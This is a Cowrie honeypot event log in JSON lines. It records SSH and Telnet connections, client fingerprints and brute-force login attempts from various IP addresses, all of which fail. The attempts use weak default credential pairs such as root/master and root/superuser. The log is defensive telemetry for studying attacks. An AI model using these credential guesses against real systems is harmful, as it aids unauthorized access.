{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":36172,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da3768e634e","protocol":"ssh","message":"New connection: 45.123.110.70:36172 (159.203.135.109:22) [session: 8da3768e634e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:00.344031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:00.348282Z","src_ip":"45.123.110.70","session":"8da3768e634e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:00.581599Z","src_ip":"45.123.110.70","session":"8da3768e634e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:01.549513Z","src_ip":"45.123.110.70","session":"8da3768e634e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:02.788094Z","src_ip":"45.123.110.70","session":"8da3768e634e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":52542,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d457a30e689","protocol":"telnet","message":"New connection: 172.104.93.159:52542 (10.17.0.5:23) [session: 5d457a30e689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:17.564486Z"}
{"eventid":"cowrie.session.closed","duration":25.466878175735474,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:19.962466Z","src_ip":"167.71.238.254","session":"90f7790d45a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.159832239151001,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:08:27.724209Z","src_ip":"172.104.93.159","session":"5d457a30e689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":63010,"dst_ip":"159.203.135.109","dst_port":22,"session":"89d0de30f13e","protocol":"ssh","message":"New connection: 45.123.110.70:63010 (159.203.135.109:22) [session: 89d0de30f13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:09:38.468244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:09:38.472734Z","src_ip":"45.123.110.70","session":"89d0de30f13e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:09:38.706931Z","src_ip":"45.123.110.70","session":"89d0de30f13e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bot12345","message":"login attempt [root/bot12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:09:39.674554Z","src_ip":"45.123.110.70","session":"89d0de30f13e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:09:40.909564Z","src_ip":"45.123.110.70","session":"89d0de30f13e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":43596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32fa37421ee","protocol":"telnet","message":"New connection: 167.71.238.254:43596 (10.17.0.5:23) [session: b32fa37421ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:24.907306Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.62.211","src_port":48768,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa94f1054836","protocol":"ssh","message":"New connection: 198.98.62.211:48768 (159.203.135.109:22) [session: fa94f1054836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:25.010548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:25.026359Z","src_ip":"198.98.62.211","session":"fa94f1054836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:25.032318Z","src_ip":"198.98.62.211","session":"fa94f1054836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q","message":"login attempt [root/123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:25.083460Z","src_ip":"198.98.62.211","session":"fa94f1054836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:26.092413Z","src_ip":"198.98.62.211","session":"fa94f1054836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.148.213.132","src_port":49850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d49930ec6618","protocol":"telnet","message":"New connection: 180.148.213.132:49850 (159.203.135.109:23) [session: d49930ec6618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:59.574579Z"}
{"eventid":"cowrie.session.closed","duration":34.80541634559631,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:10:59.712600Z","src_ip":"167.71.238.254","session":"b32fa37421ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.490001916885376,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:12.064445Z","src_ip":"180.148.213.132","session":"d49930ec6618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":33344,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e9a339d99e","protocol":"ssh","message":"New connection: 45.123.110.70:33344 (159.203.135.109:22) [session: c4e9a339d99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:16.378383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:16.383277Z","src_ip":"45.123.110.70","session":"c4e9a339d99e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:16.618704Z","src_ip":"45.123.110.70","session":"c4e9a339d99e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plm","message":"login attempt [root/plm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:17.581673Z","src_ip":"45.123.110.70","session":"c4e9a339d99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:18.822568Z","src_ip":"45.123.110.70","session":"c4e9a339d99e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":48264,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad78802b0c86","protocol":"ssh","message":"New connection: 36.95.194.51:48264 (159.203.135.109:22) [session: ad78802b0c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:20.511469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:20.516334Z","src_ip":"36.95.194.51","session":"ad78802b0c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:20.792017Z","src_ip":"36.95.194.51","session":"ad78802b0c86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:21.919398Z","src_ip":"36.95.194.51","session":"ad78802b0c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:23.197075Z","src_ip":"36.95.194.51","session":"ad78802b0c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.193.35","src_port":55518,"dst_ip":"10.17.0.5","dst_port":23,"session":"d565fe17914f","protocol":"telnet","message":"New connection: 160.22.193.35:55518 (10.17.0.5:23) [session: d565fe17914f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:29.705150Z"}
{"eventid":"cowrie.session.closed","duration":12.835084199905396,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:42.540112Z","src_ip":"160.22.193.35","session":"d565fe17914f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":59892,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a73a2369d6d","protocol":"telnet","message":"New connection: 194.180.12.23:59892 (10.17.0.5:23) [session: 1a73a2369d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:47.807345Z"}
{"eventid":"cowrie.session.closed","duration":5.299694299697876,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:11:53.106922Z","src_ip":"194.180.12.23","session":"1a73a2369d6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.186.41.191","src_port":42028,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc3fbad7383","protocol":"telnet","message":"New connection: 103.186.41.191:42028 (10.17.0.5:23) [session: 4fc3fbad7383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:12:01.608672Z"}
{"eventid":"cowrie.session.closed","duration":12.914714574813843,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:12:14.523254Z","src_ip":"103.186.41.191","session":"4fc3fbad7383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":60190,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f831b716fff","protocol":"ssh","message":"New connection: 45.123.110.70:60190 (159.203.135.109:22) [session: 7f831b716fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:12:55.242302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:12:55.248510Z","src_ip":"45.123.110.70","session":"7f831b716fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:12:55.480612Z","src_ip":"45.123.110.70","session":"7f831b716fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:12:56.420640Z","src_ip":"45.123.110.70","session":"7f831b716fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:12:57.666417Z","src_ip":"45.123.110.70","session":"7f831b716fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53722,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1db64e3f379","protocol":"ssh","message":"New connection: 194.59.206.2:53722 (10.17.0.5:22) [session: a1db64e3f379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:23.156116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:23.171496Z","src_ip":"194.59.206.2","session":"a1db64e3f379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:23.243803Z","src_ip":"194.59.206.2","session":"a1db64e3f379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:23.410999Z","src_ip":"194.59.206.2","session":"a1db64e3f379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":35482,"dst_ip":"159.203.135.109","dst_port":22,"session":"82fe5203a918","protocol":"ssh","message":"New connection: 46.165.56.242:35482 (159.203.135.109:22) [session: 82fe5203a918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:53.855996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:53.861424Z","src_ip":"46.165.56.242","session":"82fe5203a918","protocol":"ssh"}
